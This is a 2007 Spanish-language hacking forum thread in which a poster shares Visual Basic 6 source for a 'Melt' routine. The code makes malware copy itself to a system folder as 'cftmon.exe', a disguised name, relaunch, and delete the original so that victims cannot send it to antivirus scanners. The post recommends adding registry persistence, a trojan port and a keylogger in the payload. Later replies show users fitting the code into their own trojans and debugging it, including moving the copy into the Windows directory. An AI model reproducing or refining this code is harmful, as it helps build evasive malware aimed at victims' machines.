Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Mad Antrax en 13 Mayo 2007, 12:49 pm



Título: [Source] How to Melt a file in VB6
Publicado por: Mad Antrax en 13 Mayo 2007, 12:49 pm
Bueno, aquí otro de mis mini códigos para hacer "Melt" en VB6, pero antes... ¿que significa "Melt"?

Definición
Se llama "Melt" cuando un usuario ejecuta un archivo y este desaparece (se auto-elimina) después de ejecutarse, esta función es necesaria para evitar que nuestra víctima ejecute 2 veces nuestro malware o evitar que la victima lo envíe a un Antivirus o a virustotal después de ejecutarlo, su estructura es...

1) Ejecuto el archivo (A)
2) El archivo (A) se copia en otro lugar (B)
3) El archivo (A) ejecuta el archivo (B)
4) El archivo (B) borra el archivo (A)
5) El archivo (B) sigue ejecutando el resto de malware...

Como he dicho, esto es ideal para evitar que existan 2 procesos iguales abiertos en el sistema (para evitar que nuestro keylogger sea ejecutado 2 veces, o nuestro troyano intente escuchar 2 veces por el mismo puerto, etc). Así también evitas que la víctima envíe el archivo a un análisis después de ejecutarlo xD



Aquí el código:

Código
  1. Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
  2.  
  3. Sub Main()
  4.    'Obtenemos el nombre de nuestro ejecutable
  5.    MyName = App.EXEName
  6.  
  7.    'Comprobamos si nos llamamos CTFMON
  8.    If LCase(App.EXEName) = "cftmon" Then
  9.        Call Execute
  10.    Else
  11.        Call MeltFile
  12.    End If
  13. End Sub
  14.  
  15. Function Execute()
  16.    'Función que se encarga de borrar el archivo original a partir
  17.    'de su ruta. Al terminar ejecuta el PayLoad
  18.  
  19.    On Error Resume Next
  20.  
  21.    If Not IsEmpty(Command$) Then   'Verificamos si tenemos algo en los argumentos
  22.        While Dir(Command$) <> ""   'Comprobamos si existe el archivo que tenemos en los argumentos
  23.            Kill Command$           '   Si existe... lo borramos
  24.            DoEvents                '   Esperamos un poco
  25.        Wend                        'Bucle
  26.    End If
  27.    Call PayLoad                    'Ejecutamos el resto del Malware
  28. End Function
  29.  
  30. Function MeltFile()
  31.    'Función que copia el propio Malware en la carpeta TEMP del sistema
  32.    'con el nombre de cftmon.exe. Ejecuta luego el archivo enviando como
  33.    'argumento su propia ruta.
  34.  
  35.    Dim MySelf As String
  36.    MySelf = String$(255, Chr$(0))
  37.  
  38.    GetModuleFileName 0, MySelf, Len(MySelf)        'Devuele la ruta correcta de tu aplicación
  39.  
  40.    FileCopy MySelf, Environ("TMP") & "\cftmon.exe" 'Nos copiamos en "TEMP\cftmon.exe"
  41.    DoEvents                                        'Esperamos...
  42.    Shell Environ("tmp") & "\cftmon.exe " & MySelf  'Ejecutamos "TMP\cftmon.exe" + Ruta de tu aplicación
  43.    End                                             'Finalizamos (importante! xD)
  44. End Function
  45.  
  46. Function PayLoad()
  47.    'Aqui incluimos el resto de código de tu Malware...
  48.    'Recomiendo llamar ahora a la función de AddToRegedit() para añadir la
  49.    'aplicación con el Melt (cftmon.exe) al registro, abrir el puerto del troyano
  50.    'activar el keylogger o lo que quieras programar :P
  51.  
  52.    MsgBox "Si estas leyendo esto es que tu aplicación ha hecho MELT y se ha borrado el archivo original, :P", vbInformation, "Melt in VB6"
  53.    End
  54. End Function
  55.  

Si quieres evitar que tu aplicación sea ejecutada 2 veces también puedes crearte un MuteX, pero la función "Melt" hace lo mismo que el MuteX y encima borra el archivo original (para evitar análisis de AV's).

Saludos!! (Espero comentarios!!)

Codigo fuente adjunto al post (solo usuarios registrados)


Título: Re: [Source] How to Melt a file in VB6
Publicado por: Hans el Topo en 13 Mayo 2007, 12:55 pm
jajaja muy bueno, no sabía que se llamaba "Melt" xD

Hace tiempo hice algo parecido, el mio movia el archivo a la carpeta que más tiempo llevaba sin modificarse xD




Título: Re: [Source] How to Melt a file in VB6
Publicado por: Jareth en 13 Mayo 2007, 15:43 pm
Muy bueno,para evitar que se ejecute dos veces tu programa no seria mejor en el form_load:
Código:
If app.previnstance=true then
end
end if
Pero para un troyano es muy util para el server.
Saludos.


Título: Re: [Source] How to Melt a file in VB6
Publicado por: Mad Antrax en 13 Mayo 2007, 16:52 pm
Ese cñodigo no sirve mucho, me explico:

Código:
If App.PrevInstance = True Then
    End
End If

Esto lo guardo como "hola.exe" y lo ejecuto. Ahora copio "hola.exe" como "adios.exe" y lo ejecuto.

Tendré el hola.exe y el adios.exe ejecutados simultaneamente. Esto se arregla con un MuteX o con Melt


Título: Re: [Source] How to Melt a file in VB6
Publicado por: satan69 en 13 Mayo 2007, 17:17 pm
esta bueno el codigo....    gracias   ;D ;D ;D ;D


Título: Re: [Source] How to Melt a file in VB6
Publicado por: Jareth en 13 Mayo 2007, 23:37 pm
Es cierto ||MadAntrax||,ya decia yo que no seria asi.


Título: Re: [Source] How to Melt a file in VB6
Publicado por: vivachapas en 14 Mayo 2007, 01:52 am
jaja...
yo tb hice uno parecido sin saber q tenia nombre ya... XD

el mio en vez de comprobar q nombre tenia verificaba la ruta... si esta estaba en windows se conectaba... si no se copiaba a windows y lo ejecutaba...
lo de borrar no se me habia ocurrido pero es buena idea tb ;)


Título: Re: [Source] How to Melt a file in VB6
Publicado por: ~~ en 14 Mayo 2007, 11:26 am
Muy weno ;)


Título: Re: [Source] How to Melt a file in VB6
Publicado por: hepy_92 en 18 Mayo 2007, 23:13 pm
wenisimo!!!
aora mismo lo pongo en mi troyano!
muy util gracias!!!

alguien sabe como hacer para que en ves que se copie a la carpeta temp, se copie a la de windows??? ai alguna variable en vb q contenga el directorio de windows??? hasta donde yo se, para system32 hai que declarar mucho.. me contaron que para la carpeta de windows no, alguien sabe??


Título: Re: [Source] How to Melt a file in VB6
Publicado por: vivachapas en 18 Mayo 2007, 23:19 pm
Código:
MsgBox Environ("windir")

asi me lo paso EON ;)

y funciona


Título: Re: [Source] How to Melt a file in VB6
Publicado por: hepy_92 en 18 Mayo 2007, 23:21 pm
Gracias!!!


Título: Re: [Source] How to Melt a file in VB6
Publicado por: hepy_92 en 18 Mayo 2007, 23:26 pm
hm.. aora que me doi cuenta, me da error el melt! :-(
esto puse en code

 
Código:
private sub form_load()
call main
end sub' puse esto ademas de mi code, que no publico porque quedaria mui largo

Sub Main()
    'Obtenemos el nombre de nuestro ejecutable
    MyName = App.EXEName
   
    'Comprobamos si nos llamamos CTFMON
    If LCase(App.EXEName) = "cftmon" Then
        Call Execute
    Else
        Call MeltFile
    End If
End Sub

Function Execute()
    'Función que se encarga de borrar el archivo original a partir
    'de su ruta. Al terminar ejecuta el PayLoad
   
    On Error Resume Next

    If Not IsEmpty(Command$) Then   'Verificamos si tenemos algo en los argumentos
        While Dir(Command$) <> ""   'Comprobamos si existe el archivo que tenemos en los argumentos
            Kill Command$           '   Si existe... lo borramos
            DoEvents                '   Esperamos un poco
        Wend                        'Bucle
    End If
    Call PayLoad                    'Ejecutamos el resto del Malware
End Function

Function MeltFile()
    'Función que copia el propio Malware en la carpeta TEMP del sistema
    'con el nombre de cftmon.exe. Ejecuta luego el archivo enviando como
    'argumento su propia ruta.
   
    Dim MySelf As String
    MySelf = String$(255, Chr$(0))

    GetModuleFileName 0, MySelf, Len(MySelf)        'Devuele la ruta correcta de tu aplicación

    FileCopy MySelf, Environ("windir") & "\cftmon.exe" 'Nos copiamos en "TEMP\cftmon.exe"
    DoEvents                                        'Esperamos...
    Shell Environ("windir") & "\cftmon.exe " & MySelf  'Ejecutamos "TMP\cftmon.exe" + Ruta de tu aplicación
    End                                             'Finalizamos (importante! xD)
End Function

Function PayLoad()
    'Aqui incluimos el resto de código de tu Malware...
    'Recomiendo llamar ahora a la función de AddToRegedit() para añadir la
    'aplicación con el Melt (cftmon.exe) al registro, abrir el puerto del troyano
    'activar el keylogger o lo que quieras programar :P
   
    MsgBox "Si estas leyendo esto es que tu aplicación ha hecho MELT y se ha borrado el archivo original, :P", vbInformation, "Melt in VB6"
    End
End Function


hay algo que ise mal?


Título: Re: [Source] How to Melt a file in VB6
Publicado por: Mad Antrax en 19 Mayo 2007, 00:13 am
Te falta la declaración de la API, no?

Código:
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long


Título: Re: [Source] How to Melt a file in VB6
Publicado por: hepy_92 en 19 Mayo 2007, 01:40 am
si la tengo...
pero al principio me salia que MyName, no estaba declarado... asique lo declare como string.. o esta mal??=S


Título: Re: [Source] How to Melt a file in VB6
Publicado por: Mad Antrax en 19 Mayo 2007, 01:45 am
Mira si tienes esta línea en tu proyecto y borrala:

Código:
Option Explicit

Si no, dinos en qe linea te peta y que error te devuelve!


Título: Re: [Source] How to Melt a file in VB6
Publicado por: hepy_92 en 19 Mayo 2007, 01:50 am
no esta...
se me avia olvidado ponerlo en un modulo, aora lo ise i me apunta a:

 
Código:
GetModuleFileName
i me dise procedimiento sub o function no definido..


Título: Re: [Source] How to Melt a file in VB6
Publicado por: hepy_92 en 19 Mayo 2007, 18:28 pm
me di cuenta de mi error.. me falto una linea ¬¬
pero ahora me sale otro =S
si lo ejecuto sale este error:
  Error '91' en tiempo de ejecución:
  La variable de tipo Object o la variable de bloque With no está establecida
alguien me puede decir que estoy asiendo mal porfavor!?
 les adjunto el code para que vean lo que hice
 
Código:
Dentro del Form1, (form principal)
call Main 'para llamar a la funcion
'i el resto de mi code, que no pongo, para que no se alarge tanto

Dentro de Module1
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long

Sub Main()
    'Obtenemos el nombre de nuestro ejecutable
    MyName = App.EXEName
   
    'Comprobamos si nos llamamos CTFMON
    If LCase(App.EXEName) = "cftmon" Then
        Call Execute
    Else
        Call MeltFile
    End If
End Sub

Function Execute()
    'Función que se encarga de borrar el archivo original a partir
    'de su ruta. Al terminar ejecuta el PayLoad
   
    On Error Resume Next

    If Not IsEmpty(Command$) Then   'Verificamos si tenemos algo en los argumentos
        While Dir(Command$) <> ""   'Comprobamos si existe el archivo que tenemos en los argumentos
            Kill Command$           '   Si existe... lo borramos
            DoEvents                '   Esperamos un poco
        Wend                        'Bucle
    End If
    Call PayLoad                    'Ejecutamos el resto del Malware
End Function

Function MeltFile()
    'Función que copia el propio Malware en la carpeta TEMP del sistema
    'con el nombre de cftmon.exe. Ejecuta luego el archivo enviando como
    'argumento su propia ruta.
        Dim MySelf As String
    MySelf = String$(255, Chr$(0))

    GetModuleFileName 0, MySelf, Len(MySelf)        'Devuele la ruta correcta de tu aplicación

    FileCopy MySelf, Environ("windir") & "\cftmon.exe" copia  a windows en ves de Temp
    DoEvents                                        'Esperamos...
    Shell Environ("windir") & "\cftmon.exe " & MySelf  'Ejecutamos "windows\cftmon.exe" + Ruta de tu aplicación
    End                                             'Finalizamos (importante! xD)
End Function

Function PayLoad()
    'Aqui incluimos el resto de código de tu Malware...
    'Recomiendo llamar ahora a la función de AddToRegedit() para añadir la
    'aplicación con el Melt (cftmon.exe) al registro, abrir el puerto del troyano
    'activar el keylogger o lo que quieras programar :P
   
    MsgBox "Si estas leyendo esto es que tu aplicación ha hecho MELT y se ha borrado el archivo original, :P", vbInformation, "Melt in VB6"
    End
End Function

no es problema de Shell Environ("windir"), lo he revisado y esta bien.. me sale lo mismo si pongo tmp